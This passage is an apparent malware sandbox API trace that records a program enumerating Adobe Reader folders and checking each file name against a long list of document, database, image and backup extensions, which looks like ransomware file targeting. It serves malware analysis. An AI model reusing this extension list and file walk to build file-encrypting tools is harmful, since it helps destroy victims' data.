lpString2="s.js") returned -1 [0264.620] lstrlenW (lpString=".avs") returned 4 [0264.842] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0264.842] lstrlenW (lpString=".backup") returned 7 [0264.842] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0264.842] lstrlenW (lpString=".bak") returned 4 [0264.842] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0264.842] lstrlenW (lpString=".bay") returned 4 [0264.842] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0264.842] lstrlenW (lpString=".bd") returned 3 [0264.842] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0264.842] lstrlenW (lpString=".bin") returned 4 [0264.846] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0264.846] lstrlenW (lpString=".bmp") returned 4 [0264.846] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0264.846] lstrlenW (lpString=".bz2") returned 4 [0264.846] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0264.846] lstrlenW (lpString=".c") returned 2 [0264.846] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0264.846] lstrlenW (lpString=".cdr") returned 4 [0264.846] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0264.846] lstrlenW (lpString=".cer") returned 4 [0264.846] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0264.846] lstrlenW (lpString=".cf") returned 3 [0264.846] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0264.846] lstrlenW (lpString=".cfc") returned 4 [0264.846] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0264.846] lstrlenW (lpString=".cfm") returned 4 [0264.847] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0264.847] lstrlenW (lpString=".cfml") returned 5 [0264.847] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0264.847] lstrlenW (lpString=".cfu") returned 4 [0264.847] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0264.847] lstrlenW (lpString=".chm") returned 4 [0264.847] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0264.847] lstrlenW (lpString=".cin") returned 4 [0264.847] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0264.847] lstrlenW (lpString=".class") returned 6 [0264.847] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0264.847] lstrlenW (lpString=".clx") returned 4 [0264.847] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0264.847] lstrlenW (lpString=".config") returned 7 [0264.847] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0264.847] lstrlenW (lpString=".cpp") returned 4 [0264.847] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0264.847] lstrlenW (lpString=".cr2") returned 4 [0264.847] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0264.847] lstrlenW (lpString=".crt") returned 4 [0264.847] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0264.847] lstrlenW (lpString=".crw") returned 4 [0264.847] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0264.848] lstrlenW (lpString=".cs") returned 3 [0264.848] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.848] lstrlenW (lpString=".css") returned 4 [0264.848] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0264.848] lstrlenW (lpString=".csv") returned 4 [0264.848] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0264.848] lstrlenW (lpString=".cub") returned 4 [0264.848] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0264.848] lstrlenW (lpString=".dae") returned 4 [0264.848] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0264.848] lstrlenW (lpString=".dat") returned 4 [0264.848] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0264.848] lstrlenW (lpString=".db") returned 3 [0264.848] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.848] lstrlenW (lpString=".dbf") returned 4 [0264.848] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0264.848] lstrlenW (lpString=".dbx") returned 4 [0264.848] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".dc3") returned 4 [0264.849] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".dcm") returned 4 [0264.849] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".dcr") returned 4 [0264.849] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".der") returned 4 [0264.849] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".dib") returned 4 [0264.849] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".dic") returned 4 [0264.849] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".dif") returned 4 [0264.849] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".divx") returned 5 [0264.849] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0264.849] lstrlenW (lpString=".djvu") returned 5 [0264.849] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0264.849] lstrlenW (lpString=".dng") returned 4 [0264.849] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0264.849] lstrlenW (lpString=".doc") returned 4 [0264.849] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0264.850] lstrlenW (lpString=".docm") returned 5 [0264.850] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0264.850] lstrlenW (lpString=".docx") returned 5 [0264.850] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0264.850] lstrlenW (lpString=".dot") returned 4 [0264.850] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0264.850] lstrlenW (lpString=".dotm") returned 5 [0264.850] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0264.850] lstrlenW (lpString=".dotx") returned 5 [0264.850] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0264.850] lstrlenW (lpString=".dpx") returned 4 [0264.850] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0264.850] lstrlenW (lpString=".dqy") returned 4 [0264.850] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0264.850] lstrlenW (lpString=".dsn") returned 4 [0264.850] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0264.850] lstrlenW (lpString=".dt") returned 3 [0264.850] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0264.850] lstrlenW (lpString=".dtd") returned 4 [0264.850] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0264.851] lstrlenW (lpString=".dwg") returned 4 [0264.851] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0264.851] lstrlenW (lpString=".dwt") returned 4 [0264.851] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0264.851] lstrlenW (lpString=".dx") returned 3 [0264.851] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0264.851] lstrlenW (lpString=".dxf") returned 4 [0264.851] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0264.851] FindNextFileW (in: hFindFile=0x33155b0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x201f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.851] FindClose (in: hFindFile=0x33155b0 | out: hFindFile=0x33155b0) returned 1 [0264.852] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0264.852] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0264.852] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0264.852] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\cs-cz\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315b70 [0264.852] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.853] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.853] FindNextFileW (in: hFindFile=0x3315b70, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1f4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.853] FindClose (in: hFindFile=0x3315b70 | out: hFindFile=0x3315b70) returned 1 [0264.853] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0264.853] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0264.853] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0264.853] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\da-dk\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315bb0 [0264.854] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.854] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.854] FindNextFileW (in: hFindFile=0x3315bb0, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.854] FindClose (in: hFindFile=0x3315bb0 | out: hFindFile=0x3315bb0) returned 1 [0264.854] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4225da8 | out: hHeap=0x670000) returned 1 [0264.854] FindNextFileW (in: hFindFile=0x33159f0, lpFindFileData=0x396e1a4 | out: lpFindFileData=0x396e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0264.854] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4225da8 [0264.854] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\de-de\\*", lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3315930 [0264.856] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.856] FindNextFileW (in: hFindFile=0x3315930, lpFindFileData=0x396df28 | out: lpFindFileData=0x396df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x203c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.856] lstrlenW (lpString="ui-strings.js") returned 13 [0264.856] lstrlenW (lpString=".1cd") returned 4 [0264.856] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0264.856] lstrlenW (lpString=".3ds") returned 4 [0264.856] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0264.856] lstrlenW (lpString=".3fr") returned 4 [0264.857] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0264.857] lstrlenW (lpString=".3g2") returned 4 [0264.857] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0264.857] lstrlenW (lpString=".3gp") returned 4 [0264.857] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0264.857] lstrlenW (lpString=".7z") returned 3 [0264.857] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0264.857] lstrlenW (lpString=".accda") returned 6 [0264.857] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0264.857] lstrlenW (lpString=".accdb") returned 6 [0264.857] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0264.857] lstrlenW (lpString=".accdc") returned 6 [0264.857] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0264.857] lstrlenW (lpString=".accde") returned 6 [0264.857] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0264.857] lstrlenW (lpString=".accdt") returned 6 [0264.857] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0264.857] lstrlenW (lpString=".accdw") returned 6 [0264.857] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0264.857] lstrlenW (lpString=".adb") returned 4 [0264.857] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0264.857] lstrlenW (lpString=".adp") returned 4 [0264.857] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0264.857] lstrlenW (lpString=".ai") returned 3 [0264.857] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0264.857] lstrlenW (lpString=".ai3") returned 4 [0264.858] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0264.858] lstrlenW (lpString=".ai4") returned 4 [0264.858] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0264.858] lstrlenW (lpString=".ai5") returned 4 [0264.858] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0264.858] lstrlenW (lpString=".ai6") returned 4 [0264.858] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0264.858] lstrlenW (lpString=".ai7") returned 4 [0264.858] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0264.858] lstrlenW (lpString=".ai8") returned 4 [0264.858] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0264.858] lstrlenW (lpString=".anim") returned 5 [0264.858] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0264.858] lstrlenW (lpString=".arw") returned 4 [0264.858] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0264.858] lstrlenW (lpString=".as") returned 3 [0264.858] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0264.858] lstrlenW (lpString=".asa") returned 4 [0264.858] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0264.858] lstrlenW (lpString=".asc") returned 4 [0264.859] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0264.859] lstrlenW (lpString=".ascx") returned 5 [0264.859] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0264.859] lstrlenW (lpString=".asm") returned 4 [0264.859] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0264.859] lstrlenW (lpString=".asmx") returned 5 [0264.859] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0264.859] lstrlenW (lpString=".asp") returned 4 [0264.859] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0264.859] lstrlenW (lpString=".aspx") returned 5 [0264.859] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0264.859] lstrlenW (lpString=".asr") returned 4 [0264.859] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0264.859] lstrlenW (lpString=".asx") returned 4 [0264.859] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0264.859] lstrlenW (lpString=".avi") returned 4 [0264.859] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0264.859] lstrlenW (lpString=".avs") returned 4 [0264.859] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0264.859] lstrlenW (lpString=".backup") returned 7 [0264.859] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0264.859] lstrlenW (lpString=".bak") returned 4 [0264.859] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0264.859] lstrlenW (lpString=".bay") returned 4 [0264.860] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".bd") returned 3 [0264.860] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0264.860] lstrlenW (lpString=".bin") returned 4 [0264.860] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".bmp") returned 4 [0264.860] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".bz2") returned 4 [0264.860] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".c") returned 2 [0264.860] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0264.860] lstrlenW (lpString=".cdr") returned 4 [0264.860] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".cer") returned 4 [0264.860] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".cf") returned 3 [0264.860] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0264.860] lstrlenW (lpString=".cfc") returned 4 [0264.860] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".cfm") returned 4 [0264.860] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".cfml") returned 5 [0264.860] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0264.860] lstrlenW (lpString=".cfu") returned 4 [0264.860] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".chm") returned 4 [0264.860] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0264.860] lstrlenW (lpString=".cin") returned 4 [0264.860] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".class") returned 6 [0264.861] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0264.861] lstrlenW (lpString=".clx") returned 4 [0264.861] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".config") returned 7 [0264.861] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0264.861] lstrlenW (lpString=".cpp") returned 4 [0264.861] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".cr2") returned 4 [0264.861] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".crt") returned 4 [0264.861] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".crw") returned 4 [0264.861] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".cs") returned 3 [0264.861] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0264.861] lstrlenW (lpString=".css") returned 4 [0264.861] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".csv") returned 4 [0264.861] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".cub") returned 4 [0264.861] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".dae") returned 4 [0264.861] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".dat") returned 4 [0264.861] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0264.861] lstrlenW (lpString=".db") returned 3 [0264.861] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0264.861] lstrlenW (lpString=".dbf") returned 4 [0264.861] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".dbx") returned 4 [0264.862] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".dc3") returned 4 [0264.862] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".dcm") returned 4 [0264.862] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".dcr") returned 4 [0264.862] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".der") returned 4 [0264.862] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".dib") returned 4 [0264.862] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".dic") returned 4 [0264.862] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".dif") returned 4 [0264.862] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0264.862] lstrlenW (lpString=".divx") returned 5 [0264.862] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0264.862] lstrlenW (lpString=".djvu") returned 5 [0264.862] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0264.862] lstrlenW (lpString=".dng") returned 4 [0264.862] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0264.863] lstrlenW (lpString=".doc") returned 4 [0264.863] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0264.863] lstrlenW (lpString=".docm") returned 5 [0264.863] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0264.863] lstrlenW (lpString=".docx") returned 5 [0264.863] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0264.863] lstrlenW (lpString=".dot") returned 4 [0264.863] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0264.863] lstrlenW (lpString=".dotm") returned 5 [0264.863] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0264.863] lstrlenW (lpString=".dotx") returned 5 [0264.863] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0264.863] lstrlenW (lpString=".dpx") returned 4 [0264.863] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0264.863] lstrlenW (lpString=".dqy") returned 4 [0264.863] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0264.863] lstrlenW (lpString=".dsn") returned 4 [0264.863] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0264.863] lstrlenW (lpString=".dt") returned 3 [0264.863] lstrcmpiW (lpString1=".dt", 